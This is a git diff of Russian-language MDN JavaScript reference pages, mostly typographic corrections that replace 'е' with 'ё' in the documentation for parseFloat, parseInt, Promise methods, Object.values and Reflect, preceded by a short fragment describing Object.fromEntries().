          Метод Object.fromEntries() принимает список пар ключ-значение и возвращает новый объект, свойства которого задаются этими записями. Ожидается, что аргумент iterable будет объектом, который реализует метод @@iterator, который возвращает объект итератора, который создаёт двухэлементный массивоподобный объект, первый элемент которого является значением, которое будет использоваться в качестве ключа свойства, а второй элемент — значением связанного с этим ключом свойства.

          Object.fromEntries() выполняет процедуру, обратную {{jsxref("Object.entries()")}}.

          diff --git a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html index 1700aa0e2c..62830748df 100644 --- a/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/getownpropertydescriptors/index.html @@ -40,7 +40,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDes
          set
          Функция, которая служит установщиком для свойства, или {{jsxref("undefined")}} если установщика нет (только дескрипторы доступа).
          configurable
          -
          true тогда и только тогда, когда тип этого свойства дескриптора может быть изменен, и если свойство может быть удалено из соответствующего объекта.
          +
          true тогда и только тогда, когда тип этого свойства дескриптора может быть изменён, и если свойство может быть удалено из соответствующего объекта.
          enumerable
          true тогда и только тогда, когда это свойство отображается при перечислении свойств соответствующего объекта.

           

          diff --git a/files/ru/web/javascript/reference/global_objects/object/values/index.html b/files/ru/web/javascript/reference/global_objects/object/values/index.html index 38bfcb624a..112c18c60f 100644 --- a/files/ru/web/javascript/reference/global_objects/object/values/index.html +++ b/files/ru/web/javascript/reference/global_objects/object/values/index.html @@ -52,7 +52,7 @@ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; my_obj.foo = "bar"; console.log(Object.values(my_obj)); // ['bar'] -// Аргумент, не являющийся объектом, будет приведен к объекту +// Аргумент, не являющийся объектом, будет приведён к объекту console.log(Object.values("foo")); // ['f', 'o', 'o'] diff --git a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html index 03cb0bc158..e108d37e8d 100644 --- a/files/ru/web/javascript/reference/global_objects/parsefloat/index.html +++ b/files/ru/web/javascript/reference/global_objects/parsefloat/index.html @@ -44,11 +44,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseFloat

          parseFloat - это высокоуровневая функция, не привязанная ни к одному объекту.

          -

          parseFloat разбирает текстовую строку, ищет и возвращает из нее десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернет значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.

          +

          parseFloat разбирает текстовую строку, ищет и возвращает из неё десятичное число. Если функция встретит знак, отличный от (+ или -), цифр(0-9), разделительной точки, или показателя степени, она вернёт значение, предшествующее этому знаку, игнорируя все последующие символы . Допускаются позади и впереди идущие пробелы.

          -

          Если первый символ нельзя привести к числовому виду, parseFloat вернет NaN.

          +

          Если первый символ нельзя привести к числовому виду, parseFloat вернёт NaN.

          -

          С точки зрения математики, значение NaN не является числом в какой-либо системе счисления. Чтобы определить, вернет ли parseFloat значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если NaN участвует в арифметических операциях, результатом также будет NaN.

          +

          С точки зрения математики, значение NaN не является числом в какой-либо системе счисления. Чтобы определить, вернёт ли parseFloat значение {{jsxref("NaN")}} в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если NaN участвует в арифметических операциях, результатом также будет NaN.

          parseFloat также может вернуть значение Infinity ("бесконечность"). Вы можете использовать функцию {{jsxref("Global_Objects/isFinite", "isFinite")}}, чтобы определить, является ли результат конечным числом  (not Infinity, -Infinity, или NaN).

          @@ -76,7 +76,7 @@ parseFloat(foo);​​​​​

          parseFloat возвращает NaN

          -

          Пример ниже вернет NaN

          +

          Пример ниже вернёт NaN

          parseFloat("FF2");
           
          diff --git a/files/ru/web/javascript/reference/global_objects/parseint/index.html b/files/ru/web/javascript/reference/global_objects/parseint/index.html index 093ad5971c..fd1942b04d 100644 --- a/files/ru/web/javascript/reference/global_objects/parseint/index.html +++ b/files/ru/web/javascript/reference/global_objects/parseint/index.html @@ -54,13 +54,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/parseInt
          • Если значение входного параметра string начинается с "0x" или "0X", за основание системы счисления принимается 16, и интерпретации подвергается оставшаяся часть строки.
          • -
          • Если значение входного параметра string начинается с "0", за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации. В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается еще не всеми браузерами, поэтому необходимо всегда указывать основание системы счисления при использовании функции parseInt.
          • +
          • Если значение входного параметра string начинается с "0", за основание системы счисления принимается либо 8, либо 10, в зависимости от конкретной реализации. В спецификации ECMAScript 5 прописано использование 10 (десятичная система), но это поддерживается ещё не всеми браузерами, поэтому необходимо всегда указывать основание системы счисления при использовании функции parseInt.
          • Если значение входного параметра string начинается с любого другого символа, система счисления считается десятичной (основание 10).

          Если первый символ строки не может быть преобразован в число, parseInt возвращает значение NaN.

          -

          С точки зрения математики, значение NaN не является числом в какой-либо системе счисления. Чтобы определить, вернет ли parseInt значение NaN в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если NaN участвует в арифметических операциях, результатом также будет NaN.

          +

          С точки зрения математики, значение NaN не является числом в какой-либо системе счисления. Чтобы определить, вернёт ли parseInt значение NaN в качестве результата, можно вызвать функцию {{jsxref("Global_Objects/isNaN", "isNaN")}}. Если NaN участвует в арифметических операциях, результатом также будет NaN.

          Для преобразования числа в строку в указанной системе счисления, используйте intValue.toString(radix).

          diff --git a/files/ru/web/javascript/reference/global_objects/promise/all/index.html b/files/ru/web/javascript/reference/global_objects/promise/all/index.html index b6291344c2..4a79cf71ab 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/all/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/all/index.html @@ -27,19 +27,19 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/all

          Возвращаемое значение

          -

          {{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонен, если будет отклонено хоть одно из переданных обещаний.

          +

          {{jsxref("Promise")}}, который будет выполнен когда будут выполнены все обещания, переданные в виде перечисляемого аргумента, или отклонён, если будет отклонено хоть одно из переданных обещаний.

          Описание

          Promise.all возвращает массив значений от всех обещаний, которые были ему переданы. Возвращаемый массив значений сохраняет порядок оригинального перечисляемого объекта, но не порядок выполнения обещаний. Если какой-либо элемент перечисляемого объекта не является обещанием, то он будет преобразован с помощью метода {{jsxref("Promise.resolve")}}.

          -

          Если одно из переданных обещаний будет отклонено, Promise.all будет немедленно отклонен со значением отклоненного обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то Promise.all будет выполнен немедленно

          +

          Если одно из переданных обещаний будет отклонено, Promise.all будет немедленно отклонён со значением отклонённого обещания, не учитывая другие обещания, независимо выполнены они или нет. Если в качестве аргумента будет передан пустой массив, то Promise.all будет выполнен немедленно

          Примеры

          Использование Promise.all

          -

          Promise.all ждет выполнения всех обещаний (или первого метода reject()).

          +

          Promise.all ждёт выполнения всех обещаний (или первого метода reject()).

          var p1 = Promise.resolve(3);
           var p2 = 1337;
          @@ -57,7 +57,7 @@ Promise.all([p1, p2, p3]).then(values => {
           
           

          Promise.all поведение немедленного отклонения

          -

          Promise.all будет немедленно отклонен если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда Promise.all будет немедленно отклонен.

          +

          Promise.all будет немедленно отклонён если одно из переданных обещаний будет отклонено: если у вас есть четыре обещания которые будут выполнены с задержкой и одно, которое будет отклонено немедленно - тогда Promise.all будет немедленно отклонен.

          var p1 = new Promise((resolve, reject) => {
             setTimeout(resolve, 1000, "one");
          @@ -72,7 +72,7 @@ var p4 = new Promise((resolve, reject) => {
             setTimeout(resolve, 4000, "four");
           });
           var p5 = new Promise((resolve, reject) => {
          -// Это обещание прервет Promise.all
          +// Это обещание прервёт Promise.all
             reject("reject");
           });
           
          diff --git a/files/ru/web/javascript/reference/global_objects/promise/any/index.html b/files/ru/web/javascript/reference/global_objects/promise/any/index.html
          index 339d9f7aad..fc85e0927c 100644
          --- a/files/ru/web/javascript/reference/global_objects/promise/any/index.html
          +++ b/files/ru/web/javascript/reference/global_objects/promise/any/index.html
          @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any
           ---
           
          {{JSRef}}
          -

          Метод Promise.any() принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(Promise) выполнится успешно(fullfill), метод возвратит единственный объект Promise со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. rejected), тогда возвращенный объект promise будет отклонен(rejected) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По существу, метод Promise.any() является противоположностью для {{JSxRef("Promise.all()")}}.

          +

          Метод Promise.any() принимает итерируемый объект содержащий объекты "обещаний" {{JSxRef("Promise")}}. Как только одно из "обещаний"(Promise) выполнится успешно(fullfill), метод возвратит единственный объект Promise со значением выполненного "обещания". Если ни одно из "обещаний" не завершится успешно(если все "обещания" завершатся с ошибкой, т.е. rejected), тогда возвращённый объект promise будет отклонён(rejected) с одним из значений: массив содержащий причины ошибки(отклонения), или {{JSxRef("AggregateError")}} — подкласс {{JSxRef("Error")}}, который объединяет выброшенные ошибки вместе. По существу, метод Promise.any() является противоположностью для {{JSxRef("Promise.all()")}}.

          Warning! The Promise.any() method is experimental and not fully supported by all browsers. It is currently in the TC39 Candidate stage (Stage 3).

          @@ -27,25 +27,25 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/any
          • Исполненный {{JSxRef("Promise")}}, если переданный итерируемый объект пуст.
          • Исполненный асинхронно {{JSxRef("Promise")}}, если переданный итерируемый объект не содержит "обещаний"(promises).
          • -
          • Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(pending). Возвращенное "обещание" будет исполнено(resolved/rejected) асинхронно (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из  переданного итерируемого объекта исполнится, либо все "обещания" будут отклонены.
          • +
          • Во всех других случаях {{JSxRef("Promise")}} со статусом ожидания(pending). Возвращённое "обещание" будет исполнено(resolved/rejected) асинхронно (как только стэк вызовов окажется пустым), когда одно(любое) "обещание" из  переданного итерируемого объекта исполнится, либо все "обещания" будут отклонены.

          Описание

          -

          Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит массив(Array) значений исполненных обещаний, Promise.any() содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого завершенного(resolved или rejected), этот метод возвращает "обещание" содержащее значение первого успешно выполненного(resolved) "обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).

          +

          Метод полезен, когда нужно вернуть первое исполненное "обещание". После того как одно из "обещаний" будет исполнено, метод не будет дожидаться исполнения остальных. В отличие от {{JSxRef("Promise.all()")}}, который содержит массив(Array) значений исполненных обещаний, Promise.any() содержит только одно значение (при условии, что хотя бы одно из "обещаний" исполнено успешно). Такой подход может быть выгодным, когда нужно, чтобы выполнилось только одно "обещание", неважно какое. Также, в отличие от {{JSxRef("Promise.race()")}}, который возвращает "обещание", содержащее значение первого завершённого(resolved или rejected), этот метод возвращает "обещание" содержащее значение первого успешно выполненного(resolved) "обещания". Метод будет игнорировать исполнение обещаний с ошибкой(rejection) вплоть до первого исполненного успешно(fullfilment).

          Успешное исполнение(Fullfilment)

          -

          Если одно из "обещаний" исполнится успешно, возвращенное "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".

          +

          Если одно из "обещаний" исполнится успешно, возвращённое "обещание" асинхронно исполнится успешно со значением выполненного "обещания", независимо от завершения остальных "обещаний".

          • Если передан пустой итерируемый объект, тогда метод возвращает (синхронно) выполненное "обещание".
          • -
          • Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращенное из метода Promise.any асинхронно исполнится успешно.
          • +
          • Если одно из переданных обещаний исполнится успешно, или в переданном итерируемом объекте не содержится "обещаний", "обещание" возвращённое из метода Promise.any асинхронно исполнится успешно.

          Исполнение с ошибкой(Rejection)

          -

          Если все переданные "обещания" будут отклонены(rejected), Promise.any асинхронно будет отклонено в одном из двух вариантов (которые еще не были согласованы): либо

          +

          Если все переданные "обещания" будут отклонены(rejected), Promise.any асинхронно будет отклонено в одном из двух вариантов (которые ещё не были согласованы): либо

          • Массив(Array) содержащий причины отклонения всех "обещаний" переданных в итерируемом объекте, либо
          • diff --git a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html index 91d7970796..3515b9c63c 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/catch/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/catch/index.html @@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/catch ---
            {{JSRef}}
            -

            Метод catch() возвращает Promise(обещание) и работает только в случае отклонения обещания. Ведет себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.

            +

            Метод catch() возвращает Promise(обещание) и работает только в случае отклонения обещания. Ведёт себя аналогично вызову {{jsxref("Promise.then", "Promise.prototype.then(undefined, onRejected)")}}.

            Syntax

            @@ -31,7 +31,7 @@ p.catch(function(reason) {
            reason
            Причина отказа.
            -

            Promise( Обещание ), возвращенное catch (), отклоняется, если onRejected выдает ошибку(throw) или возвращает Promise, который был отклонен; В противном случае Promise, возвращаемый catch () имеет статус  выполнено  (fulfilled)

            +

            Promise( Обещание ), возвращённое catch (), отклоняется, если onRejected выдаёт ошибку(throw) или возвращает Promise, который был отклонён; В противном случае Promise, возвращаемый catch () имеет статус  выполнено  (fulfilled)

          @@ -72,7 +72,7 @@ p1.then(function(value) {   console.log('Not fired due to the catch'); }); -// Следующий код ведет себя также, как вышенаписанный +// Следующий код ведёт себя также, как вышенаписанный p1.then(function(value) {   console.log(value); // "Success!" return Promise.reject('oh, no!'); diff --git a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html index b1a53051fa..c12f7625a0 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/finally/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/finally/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally ---
          {{JSRef}}
          -

          Метод finally() возвращает {{jsxref("Promise")}}. Когда Promise (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это дает возможность запустить один раз определенный участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился Promise.

          +

          Метод finally() возвращает {{jsxref("Promise")}}. Когда Promise (обещание) был выполнен, в не зависимости успешно или с ошибкой, указанная функция будет выполнена. Это даёт возможность запустить один раз определённый участок кода, который должен выполниться вне зависимости от того, с каким результатом выполнился Promise.

          Это позволяет вам избавиться от дубликации кода в обработчиках {{jsxref("Promise.then", "then()")}} и {{jsxref("Promise.catch", "catch()")}}.

          @@ -14,11 +14,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/finally
          p.finally(onFinally);
           
           p.finally(function() {
          -   // завершен (успешно или с ошибкой)
          +   // завершён (успешно или с ошибкой)
           });
           
           p.finally(() => {
          -// завершен (успешно или с ошибкой)
          +// завершён (успешно или с ошибкой)
           });

          Параметры

          @@ -40,7 +40,7 @@ p.finally(() => {
          • Использование finally() позволяет избежать двойного объявления одной и той же функции или создания переменной. 
          • -
          • finally не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости ее/его передавать.
          • +
          • finally не получает аргументов, так как не существует способа определить, будет ли обещание выполнено успешно или с ошибкой. Данный метод необходимо использовать, если не важна причина ошибки или результат успешного выполнения и, следовательно, нет необходимости её/его передавать.
          • В отличие от Promise.resolve(2).then(() => {}, () => {}) (результатом которого будет resolved-промис, со значением undefined), результатом Promise.resolve(2).finally(() => {}) будет resolved-промис со значением 2.
          • Аналогично, в отличии от Promise.reject(3).then(() => {}, () => {}) (результатом которого будет resolved-промис, со значением undefined), результатом Promise.reject(3).finally(() => {}) будет rejected-промис со значением 3.
          diff --git a/files/ru/web/javascript/reference/global_objects/promise/index.html b/files/ru/web/javascript/reference/global_objects/promise/index.html index f5701b4694..7410136177 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/index.html @@ -29,13 +29,13 @@ new Promise(function(resolve, reject) { ... });
          executor
          -
          Объект функции с двумя аргументами resolve и reject. Функция executor  получает оба аргумента и выполняется сразу, еще до того как конструктор вернет созданный объект. Первый аргумент (resolve) вызывает успешное исполнение промиса, второй (reject) отклоняет его.
          +
          Объект функции с двумя аргументами resolve и reject. Функция executor  получает оба аргумента и выполняется сразу, ещё до того как конструктор вернёт созданный объект. Первый аргумент (resolve) вызывает успешное исполнение промиса, второй (reject) отклоняет его.
          Обычно функция executor описывает выполнение какой-то асинхронной работы, по завершении которой необходимо вызвать функцию resolve или reject. Обратите внимание, что возвращаемое значение функции executor игнорируется.

          Описание

          -

          Интерфейс Promise (промис) представляет собой обертку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание (промис) получить результат в некоторый момент в будущем.

          +

          Интерфейс Promise (промис) представляет собой обёртку для значения, неизвестного на момент создания промиса. Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание (промис) получить результат в некоторый момент в будущем.

          Promise может находиться в трёх состояниях:

          @@ -45,14 +45,14 @@ new Promise(function(resolve, reject) { ... });
        • отклонено (rejected): операция завершена с ошибкой.
        -

        При создании промис находится в ожидании (pending), а затем может стать исполненным  (fulfilled), вернув полученный результат (значение), или отклоненным (rejected), вернув причину отказа. В любом из этих случаев вызывается обработчик, прикрепленный к промису методом then. (Если в момент назначения обработчика промис уже исполнен или отклонен, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)

        +

        При создании промис находится в ожидании (pending), а затем может стать исполненным  (fulfilled), вернув полученный результат (значение), или отклонённым (rejected), вернув причину отказа. В любом из этих случаев вызывается обработчик, прикреплённый к промису методом then. (Если в момент назначения обработчика промис уже исполнен или отклонён, обработчик все равно будет вызван, т.е. асинхронное исполнение промиса и назначение обработчика не будет происходить в «состоянии гонки», как, например, в случае с событиями в DOM.)

        Так как методы {{JSxRef("Promise.then", "Promise.prototype.then()")}} и {{JSxRef("Promise.catch", "Promise.prototype.catch()")}} сами возвращают промис, их можно вызывать цепочкой, создавая соединения.

        -

        Примечание: говорят, что промис находится в состоянии завершен (settled) когда он или исполнен или отклонен, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин исполин (resolved) — это значит что промис завершен или "заблокирован" в ожидании завершения другого промиса. В статье состояния и fates приводится более подробное описание терминологии.

        +

        Примечание: говорят, что промис находится в состоянии завершён (settled) когда он или исполнен или отклонён, т.е. в любом состоянии, кроме ожидания (это лишь форма речи, не являющаяся настоящим состоянием промиса). Также можно встретить термин исполин (resolved) — это значит что промис завершён или "заблокирован" в ожидании завершения другого промиса. В статье состояния и fates приводится более подробное описание терминологии.

        Свойства

        @@ -69,13 +69,13 @@ new Promise(function(resolve, reject) { ... });
        {{jsxref("Promise.all", "Promise.all(iterable)")}}
        Ожидает исполнения всех промисов или отклонения любого из них.
        -
        Возвращает промис, который исполнится после исполнения всех промисов в iterable. В случае, если любой из промисов будет отклонен, Promise.all будет также отклонен.
        +
        Возвращает промис, который исполнится после исполнения всех промисов в iterable. В случае, если любой из промисов будет отклонён, Promise.all будет также отклонен.
        {{JSxRef("Promise.allSettled", "Promise.allSettled(iterable)")}}
        Ожидает завершения всех полученных промисов (как исполнения так и отклонения).
        Возвращает промис, который исполняется когда все полученные промисы завершены (исполнены или отклонены), содержащий массив результатов исполнения полученных промисов.
        {{jsxref("Promise.race", "Promise.race(iterable)")}}
        Ожидает исполнения или отклонения любого из полученных промисов.
        -
        Возвращает промис, который будет исполнен или отклонен с результатом исполнения первого исполненного или отклонённого промиса из .iterable.
        +
        Возвращает промис, который будет исполнен или отклонён с результатом исполнения первого исполненного или отклонённого промиса из .iterable.
        @@ -88,7 +88,7 @@ new Promise(function(resolve, reject) { ... });
        Возвращает промис, исполненный с результатом value.
        @@ -105,7 +105,7 @@ new Promise(function(resolve, reject) { ... });

        Создание промиса

        -

        Объект Promise создается при помощи ключевого слова new и своего конструктора. Конструктор Promise принимает в качестве аргумента функцию, называемую "исполнитель" (executor function). Эта функция должна принимать две функции-колбэка в качестве параметров. Первый из них (resolve) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй колбэк (reject) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.

        +

        Объект Promise создаётся при помощи ключевого слова new и своего конструктора. Конструктор Promise принимает в качестве аргумента функцию, называемую "исполнитель" (executor function). Эта функция должна принимать две функции-колбэка в качестве параметров. Первый из них (resolve) вызывается, когда асинхронная операция завершилась успешно и вернула результат своего исполнения в виде значения. Второй колбэк (reject) вызывается, когда операция не удалась, и возвращает значение, указывающее на причину неудачи, чаще всего объект ошибки.

        const myFirstPromise = new Promise((resolve, reject) => {
           // выполняется асинхронная операция, которая в итоге вызовет:
        diff --git a/files/ru/web/javascript/reference/global_objects/promise/race/index.html b/files/ru/web/javascript/reference/global_objects/promise/race/index.html
        index 79b3fba0b0..da184495a3 100644
        --- a/files/ru/web/javascript/reference/global_objects/promise/race/index.html
        +++ b/files/ru/web/javascript/reference/global_objects/promise/race/index.html
        @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race
         ---
         
        {{JSRef}}
        -

        Метод Promise.race(iterable) возвращает выполненное или отклоненное обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.

        +

        Метод Promise.race(iterable) возвращает выполненное или отклонённое обещание, в зависимости от того, с каким результатом завершится первое из переданных обещаний, со значением или причиной отклонения этого обещания.

        {{EmbedInteractiveExample("pages/js/promise-race.html")}}

        @@ -27,11 +27,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/race

        Возвращаемое значение

        -

        Выполненный или отклоненный {{jsxref("Promise")}} в зависимости от результата первого завершенного из переданных в итерируемом объекте обещаний.

        +

        Выполненный или отклонённый {{jsxref("Promise")}} в зависимости от результата первого завершённого из переданных в итерируемом объекте обещаний.

        Описание

        -

        Метод race  возвращает Обещание (Promise) с результатом, первого завершенного из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.

        +

        Метод race  возвращает Обещание (Promise) с результатом, первого завершённого из переданных обещаний. Т.е. возвратит resolve или reject, в зависимости от того, что случится первым.

        Примеры

        diff --git a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html index 9bb06a2115..ebaed59a5f 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/reject/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/reject/index.html @@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject ---
        {{JSRef}}
        -

        Метод Promise.reject(reason) возвращает объект Promise, который был отклонен по указанной причине.

        +

        Метод Promise.reject(reason) возвращает объект Promise, который был отклонён по указанной причине.

        Синтаксис

        @@ -19,13 +19,13 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/reject

        Возвращаемое значение

        -

        Отклоненный с указанной причиной {{jsxref("Promise")}}.

        +

        Отклонённый с указанной причиной {{jsxref("Promise")}}.

        Описание

        -

        Promise.reject возвращает Promise который был отклонен. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.

        +

        Promise.reject возвращает Promise который был отклонён. В целях отладки и выборочного отлова ошибок, удобно использовать в качестве причины объекты {{jsxref("Error")}}.

        Примеры

        diff --git a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html index 1b5cff1c3e..f61fad91ec 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/resolve/index.html @@ -10,7 +10,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/resolve ---
        {{JSRef}}
        -

        Метод Promise.resolve(value) возвращает {{jsxref("Promise")}} выполненный с переданным значением. Если переданное значение является thenable - объект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - объекту, принимая свое состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.

        +

        Метод Promise.resolve(value) возвращает {{jsxref("Promise")}} выполненный с переданным значением. Если переданное значение является thenable - объект (т.е. имеет метод {{jsxref("Promise.then", "\"then\" method")}}), возвращаемое обещание будет следовать thenable - объекту, принимая своё состояние; в ином случае возвращаемое обещание будет выполнено с переданным значением.

        Синтаксис

        diff --git a/files/ru/web/javascript/reference/global_objects/promise/then/index.html b/files/ru/web/javascript/reference/global_objects/promise/then/index.html index 211b7692dd..a380cb5b5c 100644 --- a/files/ru/web/javascript/reference/global_objects/promise/then/index.html +++ b/files/ru/web/javascript/reference/global_objects/promise/then/index.html @@ -12,7 +12,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Promise/then

        Метод then() возвращает {{jsxref("Promise")}}. Метод может принимать два аргумента: колбэк-функции для случаев выполнения и отклонения промиса.

        -

         Если один или оба аргумента отсутствуют или их значения не функции, то then пропустит их и не выбросит ошибку. Если для Promise, который переходит в состояние выполнен или отклонен вызван метод then, и у данного метода нет нужного обработчика, то в таком случае then просто возвращает промис с состоянием начального Promise, для которого then был вызван.

        +

         Если один или оба аргумента отсутствуют или их значения не функции, то then пропустит их и не выбросит ошибку. Если для Promise, который переходит в состояние выполнен или отклонён вызван метод then, и у данного метода нет нужного обработчика, то в таком случае then просто возвращает промис с состоянием начального Promise, для которого then был вызван.

        Синтаксис

        @@ -32,7 +32,7 @@ p.then(value => {
        onFulfilled {{optional_inline}}
        {{jsxref("Function")}} вызывается, когда Promise выполнен. Эта функция принимает один аргумент, значение с которым промис был выполнен. Если значение onFulfilled не функция, то оно автоматически заменяется на "Identity" функцию (возвращает полученный аргумент)
        onRejected {{optional_inline}}
        -
        {{jsxref("Function")}} вызывается, когда Promise  отклонен. Эта функция принимает один аргумент, значение с которым промис был отклонен. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)
        +
        {{jsxref("Function")}} вызывается, когда Promise  отклонён. Эта функция принимает один аргумент, значение с которым промис был отклонён. Если значение onRejected не функция, то оно автоматически заменяется на "Thrower" функцию (выбрасывает полученный аргумент как ошибку)

        Описание

        @@ -58,7 +58,7 @@ p1.then(function(value) {

        Соединение

        -

        Так как метод then возвращает Promise (обещание), вы можете объединить несколько вызовов then в цепочку. Значения возвращаемые из onFulfilled или onRejected колбэков будут автоматически обернуты в обещание.

        +

        Так как метод then возвращает Promise (обещание), вы можете объединить несколько вызовов then в цепочку. Значения возвращаемые из onFulfilled или onRejected колбэков будут автоматически обёрнуты в обещание.

        var p2 = new Promise(function(resolve, reject) {
           resolve(1);
        @@ -88,7 +88,7 @@ p2.then(function(value) {
             var j = response.json();
             // можем что-нибудь делать с j
             return j; // в случае выполнения обещания, значение
        -              // передается в fetch_current_data().then()
        +              // передаётся в fetch_current_data().then()
           });
         }
         
        diff --git a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html index e5eaa5af39..e1c5fcbdbc 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/construct/index.html @@ -8,7 +8,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Reflect/construct ---
        {{JSRef}}
        -

        Статический метод Reflect.construct() работает как new operator. Он эквивалентен new target(...args). Это также дает дополнительную возможность указать другой прототип.

        +

        Статический метод Reflect.construct() работает как new operator. Он эквивалентен new target(...args). Это также даёт дополнительную возможность указать другой прототип.

        {{EmbedInteractiveExample("pages/js/reflect-construct.html")}}
        diff --git a/files/ru/web/javascript/reference/global_objects/reflect/index.html b/files/ru/web/javascript/reference/global_objects/reflect/index.html index 9a93944a56..8f5f7bb306 100644 --- a/files/ru/web/javascript/reference/global_objects/reflect/index.html +++ b/files/ru/web/javascript/reference/global_objects/reflect/index.html @@ -71,7 +71,7 @@ Reflect.has(duck, 'haircut');

        Добавление нового свойства в объект

        Reflect.set(duck, 'eyes', 'black');
